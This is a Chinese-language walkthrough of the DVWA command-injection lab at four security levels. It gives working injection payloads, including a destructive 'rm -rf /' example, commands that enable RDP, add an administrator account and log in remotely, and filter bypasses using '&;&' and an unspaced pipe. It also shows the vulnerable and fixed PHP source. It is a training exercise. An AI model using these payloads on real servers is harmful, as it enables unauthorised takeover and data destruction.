DVWA-命令注入通关

1. 概述

Command Injection, 即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

例如,如果一个应用程序接受一个文件名作为输入,然后使用这个文件名来执行一个系统命令,如 cat [filename],如果攻击者提供的文件名是 ; rm -rf /,那么实际执行的命令就会变成 cat ; rm -rf /,这将导致系统的所有文件被删除。; 是一个逻辑运算符,作用是将两个命令连接起来,第一个命令执行完后,再执行第二个命令。

下面是逻辑运算符的分类:

逻辑运算符 CMD (Windows 命令提示符) PowerShell (Windows 进阶命令行) Bash Shell (Linux/Unix)
&& 前一个命令成功,则执行下一个命令 / 前一个命令成功,则执行下一个命令
|| 前一个命令失败,则执行下一个命令 / 前一个命令失败,则执行下一个命令
& 同时执行多个命令 / 将前一个命令放到后台执行,无论是否成功执行,都继续执行下一个命令
| 通过管道将前一个命令的输出传递给下一个命令 通过管道将前一个命令的输出传递给下一个命令 通过管道将前一个命令的输出传递给下一个命令
! 查询历史命令 逻辑非 执行历史命令
; 分隔多个命令 顺序执行多个命令 顺序执行多个命令
-and / 逻辑与 /
-or / 逻辑或 /
-not / 逻辑非 /

2. Low

2.1 漏洞验证

在文本框中输入8.8.8.8,提交后如下图所示:

alt text

可以看到输入合法IP地址后能顺利执行。为了后续能注入恶意命令,在此输入一个不合法的IP地址,并观察其执行返回结果。依次输入数值255,以及一个不合法的IP地址192.168.1.256,结果如下图所示:

alt text

alt text

可以看到,输入的数值255被成功执行,而不合法的ip地址192.168.1.256没有被执行,这说明在执行命令时,程序没有对输入的IP地址进行过滤,而是直接将其作为命令的一部分执行了。

DOS命令中可以使用&&;连接多个命令相继执行,因此此处可以使用8.8.8.8 && net users进行注入测试。执行结果如下所示:

alt text

可以看到net users被正确执行从而显示出了当前系统中的全部用户。说明存在命令注入漏洞,可以进行恶意命令注入获得靶机控制权限。

2.2 漏洞利用

下面将利用命令注入漏洞,打开靶机RDP3389端口、添加用户、远程登陆到靶机系统中,获取靶机控制权限。

输入 8.8.8.8 | netstat -an,查看系统当前开放的端口:

alt text

管道符(|)会将前一个命令的标准输出作为后一个命令的标准输入,但ping命令和netstat命令之间没有输入输出的关联,所以会跳过ping命令,直接执行netstat命令,可提升执行速度。

从图上可看到远程桌面协议RDP的3389端口没有开放,所以还需要使用命令打开3389端口

输入8.8.8.8 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f,命令执行结果如下:

alt text

关闭RDP: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 1 /f

再次使用命令8.8.8.8 | netstat -an | findstr 3389查看系统3389端口是否打开:

alt text

此时3389已经打开,继续在文本框中输入8.8.8.8 | net user test test /add,在靶机系统中添加一个test用户,密码为test,执行结果如下图所示:

alt text

使用命令8.8.8.8 | net users查看用户添加结果, 如下图所示:

alt text

为添加的test用户提权(非管理员用户无法连接远程桌面),将其添加到管理员用户组。输入8.8.8.8 | net localgroup Administrators test /add,执行结果如下图所示:

alt text

查看用户提权结果,输入8.8.8.8 | net localgroup Administrators,如下图所示:

alt text

在攻击机中打开远程桌面连接(mstsc.exe),输入靶机ip地址, 如下图所示:

alt text

输入用户名test,密码test,进入靶机,如下图所示:

alt text

alt text


3. Medium

使用注入命令8.8.8.8 && dir,执行结果如下图所示:

alt text

可以看到执行命令中的逻辑运算符&&被过滤掉了,过滤后输入数据变为非法IP地址8.8.8.8dir,不能被正常执行。因此可以推测,在中等安全级别下DVWA对用户输入的数据做了安全过滤

需要进一步测试系统中是采用白名单过滤还是黑名单过滤。白名单指的是只有名单中的数据是可用的,其他数据都是不可用的;黑名单则是只有名单中的数据不可用的,其他数据都是可用的。

首先测试;连接符号是否在黑名单中,使用注入命令8.8.8.8 ; dir,运行结果如下图所示:

alt text

命令1和命令2被合并,说明该连接符号被过滤了,可以判断该符号在黑名单中或者在白名单以外。继续测试连接符&,使用注入命令8.8.8.8 & dir,运行结果如下图所示:

alt text

在该返回结果中,显示了当前路径下的目录,这说明&连接符号是可用的,因此可以判断该符号在白名单中或者在黑名单以外。

到这一步为止,已经确认存在命令注入漏洞。可以使用前面测试出的白名单符号&,按照Low级别的方法进行命令注入攻击。

为了进一步测试黑名单中包含的符号,可以继续测试|||,通过测试结果推测,黑名单为&&;,即只对这两个命令连接符号进行了过滤:

符号 测试用例 测试结果
&& 8.8.8.8 && net user 过滤(错误参数)
; 8.8.8.8 ; net user 过滤(错误参数)
& 8.8.8.8 & net user 可用(命令1和命令2依次被执行)
|| 888.8.8.8 || net user 可用(命令1报错,命令2顺利执行)
| 8.8.8.8 | net user 可用(跳过命令1直接执行命令2)

针对上面测试结果,还可以构造一种绕过方法:8.8.8.8 &;& net user,执行结果如下图所示:

alt text

可以看到命令1和命令2都被执行了,效果等同于8.8.8.8 && net user,但是直接执行后者又会因为&&被过滤而无法正常执行。造成这种现象的原因是,&;&中的;分号被过滤一次后,没有继续过滤第二遍,导致&&被保留下来,从而实现了命令注入攻击。


4. High

高级命令注入渗透测试环境增加了更强的防护机制,PHP源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the characters in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

高等级下增加了过滤的连接符种类,几乎将所有的连接符都过滤掉了。但是,仔细观察源代码中数组的第3个元素,可以发现,管道符后面有一个空格(| ),这意味着并没有成功过滤没有空格的管道符(|)。

因此,只需要使用不带空格的管道符|,就可以拼接系统命令,实现命令注入。在文本框中输入8.8.8.8|ver,查看操作系统的版本,如图所示:

alt text

通过未过滤的管道符|,成功地将系统命令拼接到用户输入中执行,实现命令注入攻击。

实际上,在逻辑运算符||后面留一个空格,也可以实现命令注入攻击,例如: 8.8.8.8 || ver8.8.8.8|| ver,原因是数组中的| ||在前,| 被过滤后,还剩下||无法被||过滤掉,因此可以成功执行命令。


5. Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级别在使用Anti-CSRF token的同时,对用户输入的IP地址进行了过滤。首先,使用stripslashes()函数删除用户输入中所有的反斜杠/字符;然后,使用explode()函数将用户输入以.分隔,形成数组,并使用is_numeric()函数确认数组元素是否都是整数,如果是的话,才会重新将数组的各个元素使用.`接成IP地址的格式,从而很好地避免了命令注入攻击的发生。